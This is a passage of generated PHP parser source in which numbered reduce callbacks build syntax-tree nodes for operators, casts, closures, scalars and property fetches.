Expr\AssignOp\Concat($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 387 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Mod($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 388 => function ($stackPos) { $this->semValue = new Expr\AssignOp\BitwiseAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 389 => function ($stackPos) { $this->semValue = new Expr\AssignOp\BitwiseOr($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 390 => function ($stackPos) { $this->semValue = new Expr\AssignOp\BitwiseXor($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 391 => function ($stackPos) { $this->semValue = new Expr\AssignOp\ShiftLeft($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 392 => function ($stackPos) { $this->semValue = new Expr\AssignOp\ShiftRight($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 393 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Pow($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 394 => function ($stackPos) { $this->semValue = new Expr\AssignOp\Coalesce($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 395 => function ($stackPos) { $this->semValue = new Expr\PostInc($this->semStack[$stackPos-(2-1)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 396 => function ($stackPos) { $this->semValue = new Expr\PreInc($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 397 => function ($stackPos) { $this->semValue = new Expr\PostDec($this->semStack[$stackPos-(2-1)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 398 => function ($stackPos) { $this->semValue = new Expr\PreDec($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 399 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BooleanOr($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 400 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BooleanAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 401 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\LogicalOr($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 402 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\LogicalAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 403 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\LogicalXor($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 404 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BitwiseOr($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 405 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BitwiseAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 406 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BitwiseAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 407 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BitwiseXor($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 408 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Concat($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 409 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Plus($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 410 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Minus($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 411 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Mul($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 412 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Div($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 413 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Mod($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 414 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\ShiftLeft($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 415 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\ShiftRight($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 416 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Pow($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 417 => function ($stackPos) { $this->semValue = new Expr\UnaryPlus($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 418 => function ($stackPos) { $this->semValue = new Expr\UnaryMinus($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 419 => function ($stackPos) { $this->semValue = new Expr\BooleanNot($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 420 => function ($stackPos) { $this->semValue = new Expr\BitwiseNot($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 421 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Identical($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 422 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\NotIdentical($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 423 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Equal($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 424 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\NotEqual($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 425 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Spaceship($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 426 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Smaller($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 427 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\SmallerOrEqual($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 428 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Greater($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 429 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\GreaterOrEqual($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 430 => function ($stackPos) { $this->semValue = new Expr\Instanceof_($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 431 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 432 => function ($stackPos) { $this->semValue = new Expr\Ternary($this->semStack[$stackPos-(5-1)], $this->semStack[$stackPos-(5-3)], $this->semStack[$stackPos-(5-5)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 433 => function ($stackPos) { $this->semValue = new Expr\Ternary($this->semStack[$stackPos-(4-1)], null, $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 434 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Coalesce($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 435 => function ($stackPos) { $this->semValue = new Expr\Isset_($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 436 => function ($stackPos) { $this->semValue = new Expr\Empty_($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 437 => function ($stackPos) { $this->semValue = new Expr\Include_($this->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_INCLUDE, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 438 => function ($stackPos) { $this->semValue = new Expr\Include_($this->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_INCLUDE_ONCE, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 439 => function ($stackPos) { $this->semValue = new Expr\Eval_($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 440 => function ($stackPos) { $this->semValue = new Expr\Include_($this->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_REQUIRE, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 441 => function ($stackPos) { $this->semValue = new Expr\Include_($this->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_REQUIRE_ONCE, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 442 => function ($stackPos) { $this->semValue = new Expr\Cast\Int_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 443 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes; $attrs['kind'] = $this->getFloatCastKind($this->semStack[$stackPos-(2-1)]); $this->semValue = new Expr\Cast\Double($this->semStack[$stackPos-(2-2)], $attrs); }, 444 => function ($stackPos) { $this->semValue = new Expr\Cast\String_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 445 => function ($stackPos) { $this->semValue = new Expr\Cast\Array_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 446 => function ($stackPos) { $this->semValue = new Expr\Cast\Object_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 447 => function ($stackPos) { $this->semValue = new Expr\Cast\Bool_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 448 => function ($stackPos) { $this->semValue = new Expr\Cast\Unset_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 449 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes; $attrs['kind'] = strtolower($this->semStack[$stackPos-(2-1)]) === 'exit' ? Expr\Exit_::KIND_EXIT : Expr\Exit_::KIND_DIE; $this->semValue = new Expr\Exit_($this->semStack[$stackPos-(2-2)], $attrs); }, 450 => function ($stackPos) { $this->semValue = new Expr\ErrorSuppress($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 451 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 452 => function ($stackPos) { $this->semValue = new Expr\ShellExec($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 453 => function ($stackPos) { $this->semValue = new Expr\Print_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 454 => function ($stackPos) { $this->semValue = new Expr\Yield_(null, null, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 455 => function ($stackPos) { $this->semValue = new Expr\Yield_($this->semStack[$stackPos-(2-2)], null, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 456 => function ($stackPos) { $this->semValue = new Expr\Yield_($this->semStack[$stackPos-(4-4)], $this->semStack[$stackPos-(4-2)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 457 => function ($stackPos) { $this->semValue = new Expr\YieldFrom($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 458 => function ($stackPos) { $this->semValue = new Expr\Throw_($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 459 => function ($stackPos) { $this->semValue = new Expr\ArrowFunction(['static' => false, 'byRef' => $this->semStack[$stackPos-(8-2)], 'params' => $this->semStack[$stackPos-(8-4)], 'returnType' => $this->semStack[$stackPos-(8-6)], 'expr' => $this->semStack[$stackPos-(8-8)], 'attrGroups' => []], $this->startAttributeStack[$stackPos-(8-1)] + $this->endAttributes); }, 460 => function ($stackPos) { $this->semValue = new Expr\ArrowFunction(['static' => true, 'byRef' => $this->semStack[$stackPos-(9-3)], 'params' => $this->semStack[$stackPos-(9-5)], 'returnType' => $this->semStack[$stackPos-(9-7)], 'expr' => $this->semStack[$stackPos-(9-9)], 'attrGroups' => []], $this->startAttributeStack[$stackPos-(9-1)] + $this->endAttributes); }, 461 => function ($stackPos) { $this->semValue = new Expr\Closure(['static' => false, 'byRef' => $this->semStack[$stackPos-(8-2)], 'params' => $this->semStack[$stackPos-(8-4)], 'uses' => $this->semStack[$stackPos-(8-6)], 'returnType' => $this->semStack[$stackPos-(8-7)], 'stmts' => $this->semStack[$stackPos-(8-8)], 'attrGroups' => []], $this->startAttributeStack[$stackPos-(8-1)] + $this->endAttributes); }, 462 => function ($stackPos) { $this->semValue = new Expr\Closure(['static' => true, 'byRef' => $this->semStack[$stackPos-(9-3)], 'params' => $this->semStack[$stackPos-(9-5)], 'uses' => $this->semStack[$stackPos-(9-7)], 'returnType' => $this->semStack[$stackPos-(9-8)], 'stmts' => $this->semStack[$stackPos-(9-9)], 'attrGroups' => []], $this->startAttributeStack[$stackPos-(9-1)] + $this->endAttributes); }, 463 => function ($stackPos) { $this->semValue = new Expr\ArrowFunction(['static' => false, 'byRef' => $this->semStack[$stackPos-(9-3)], 'params' => $this->semStack[$stackPos-(9-5)], 'returnType' => $this->semStack[$stackPos-(9-7)], 'expr' => $this->semStack[$stackPos-(9-9)], 'attrGroups' => $this->semStack[$stackPos-(9-1)]], $this->startAttributeStack[$stackPos-(9-1)] + $this->endAttributes); }, 464 => function ($stackPos) { $this->semValue = new Expr\ArrowFunction(['static' => true, 'byRef' => $this->semStack[$stackPos-(10-4)], 'params' => $this->semStack[$stackPos-(10-6)], 'returnType' => $this->semStack[$stackPos-(10-8)], 'expr' => $this->semStack[$stackPos-(10-10)], 'attrGroups' => $this->semStack[$stackPos-(10-1)]], $this->startAttributeStack[$stackPos-(10-1)] + $this->endAttributes); }, 465 => function ($stackPos) { $this->semValue = new Expr\Closure(['static' => false, 'byRef' => $this->semStack[$stackPos-(9-3)], 'params' => $this->semStack[$stackPos-(9-5)], 'uses' => $this->semStack[$stackPos-(9-7)], 'returnType' => $this->semStack[$stackPos-(9-8)], 'stmts' => $this->semStack[$stackPos-(9-9)], 'attrGroups' => $this->semStack[$stackPos-(9-1)]], $this->startAttributeStack[$stackPos-(9-1)] + $this->endAttributes); }, 466 => function ($stackPos) { $this->semValue = new Expr\Closure(['static' => true, 'byRef' => $this->semStack[$stackPos-(10-4)], 'params' => $this->semStack[$stackPos-(10-6)], 'uses' => $this->semStack[$stackPos-(10-8)], 'returnType' => $this->semStack[$stackPos-(10-9)], 'stmts' => $this->semStack[$stackPos-(10-10)], 'attrGroups' => $this->semStack[$stackPos-(10-1)]], $this->startAttributeStack[$stackPos-(10-1)] + $this->endAttributes); }, 467 => function ($stackPos) { $this->semValue = array(new Stmt\Class_(null, ['type' => 0, 'extends' => $this->semStack[$stackPos-(8-4)], 'implements' => $this->semStack[$stackPos-(8-5)], 'stmts' => $this->semStack[$stackPos-(8-7)], 'attrGroups' => $this->semStack[$stackPos-(8-1)]], $this->startAttributeStack[$stackPos-(8-1)] + $this->endAttributes), $this->semStack[$stackPos-(8-3)]); $this->checkClass($this->semValue[0], -1); }, 468 => function ($stackPos) { $this->semValue = new Expr\New_($this->semStack[$stackPos-(3-2)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 469 => function ($stackPos) { list($class, $ctorArgs) = $this->semStack[$stackPos-(2-2)]; $this->semValue = new Expr\New_($class, $ctorArgs, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 470 => function ($stackPos) { $this->semValue = array(); }, 471 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(4-3)]; }, 472 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 473 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 474 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 475 => function ($stackPos) { $this->semValue = new Expr\ClosureUse($this->semStack[$stackPos-(2-2)], $this->semStack[$stackPos-(2-1)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 476 => function ($stackPos) { $this->semValue = new Expr\FuncCall($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 477 => function ($stackPos) { $this->semValue = new Expr\FuncCall($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 478 => function ($stackPos) { $this->semValue = new Expr\StaticCall($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 479 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 480 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 481 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 482 => function ($stackPos) { $this->semValue = new Name($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 483 => function ($stackPos) { $this->semValue = new Name\FullyQualified(substr($this->semStack[$stackPos-(1-1)], 1), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 484 => function ($stackPos) { $this->semValue = new Name\Relative(substr($this->semStack[$stackPos-(1-1)], 10), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 485 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 486 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 487 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 488 => function ($stackPos) { $this->semValue = new Expr\Error($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); $this->errorState = 2; }, 489 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 490 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 491 => function ($stackPos) { $this->semValue = null; }, 492 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 493 => function ($stackPos) { $this->semValue = array(); }, 494 => function ($stackPos) { $this->semValue = array(new Scalar\EncapsedStringPart(Scalar\String_::parseEscapeSequences($this->semStack[$stackPos-(1-1)], '`'), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes)); }, 495 => function ($stackPos) { foreach ($this->semStack[$stackPos-(1-1)] as $s) { if ($s instanceof Node\Scalar\EncapsedStringPart) { $s->value = Node\Scalar\String_::parseEscapeSequences($s->value, '`', true); } }; $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 496 => function ($stackPos) { $this->semValue = array(); }, 497 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 498 => function ($stackPos) { $this->semValue = new Expr\ConstFetch($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 499 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Line($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 500 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\File($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 501 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Dir($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 502 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Class_($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 503 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Trait_($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 504 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Method($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 505 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Function_($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 506 => function ($stackPos) { $this->semValue = new Scalar\MagicConst\Namespace_($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 507 => function ($stackPos) { $this->semValue = new Expr\ClassConstFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 508 => function ($stackPos) { $this->semValue = new Expr\ClassConstFetch($this->semStack[$stackPos-(3-1)], new Expr\Error($this->startAttributeStack[$stackPos-(3-3)] + $this->endAttributeStack[$stackPos-(3-3)]), $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); $this->errorState = 2; }, 509 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes; $attrs['kind'] = Expr\Array_::KIND_SHORT; $this->semValue = new Expr\Array_($this->semStack[$stackPos-(3-2)], $attrs); }, 510 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes; $attrs['kind'] = Expr\Array_::KIND_LONG; $this->semValue = new Expr\Array_($this->semStack[$stackPos-(4-3)], $attrs); }, 511 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 512 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes; $attrs['kind'] = ($this->semStack[$stackPos-(1-1)][0] === "'" || ($this->semStack[$stackPos-(1-1)][1] === "'" && ($this->semStack[$stackPos-(1-1)][0] === 'b' || $this->semStack[$stackPos-(1-1)][0] === 'B')) ? Scalar\String_::KIND_SINGLE_QUOTED : Scalar\String_::KIND_DOUBLE_QUOTED); $this->semValue = new Scalar\String_(Scalar\String_::parse($this->semStack[$stackPos-(1-1)]), $attrs); }, 513 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes; $attrs['kind'] = Scalar\String_::KIND_DOUBLE_QUOTED; foreach ($this->semStack[$stackPos-(3-2)] as $s) { if ($s instanceof Node\Scalar\EncapsedStringPart) { $s->value = Node\Scalar\String_::parseEscapeSequences($s->value, '"', true); } }; $this->semValue = new Scalar\Encapsed($this->semStack[$stackPos-(3-2)], $attrs); }, 514 => function ($stackPos) { $this->semValue = $this->parseLNumber($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 515 => function ($stackPos) { $this->semValue = new Scalar\DNumber(Scalar\DNumber::parse($this->semStack[$stackPos-(1-1)]), $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 516 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 517 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 518 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 519 => function ($stackPos) { $this->semValue = $this->parseDocString($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-2)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes, $this->startAttributeStack[$stackPos-(3-3)] + $this->endAttributeStack[$stackPos-(3-3)], true); }, 520 => function ($stackPos) { $this->semValue = $this->parseDocString($this->semStack[$stackPos-(2-1)], '', $this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes, $this->startAttributeStack[$stackPos-(2-2)] + $this->endAttributeStack[$stackPos-(2-2)], true); }, 521 => function ($stackPos) { $this->semValue = $this->parseDocString($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-2)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes, $this->startAttributeStack[$stackPos-(3-3)] + $this->endAttributeStack[$stackPos-(3-3)], true); }, 522 => function ($stackPos) { $this->semValue = null; }, 523 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 524 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 525 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 526 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 527 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 528 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 529 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 530 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 531 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 532 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 533 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 534 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 535 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 536 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 537 => function ($stackPos) { $this->semValue = new Expr\MethodCall($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 538 => function ($stackPos) { $this->semValue = new Expr\NullsafeMethodCall($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 539 => function ($stackPos) { $this->semValue = null; }, 540 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 541 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 542 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 543 => function ($stackPos) { $this->semValue = new Expr\PropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 544 => function ($stackPos) { $this->semValue = new Expr\NullsafePropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], 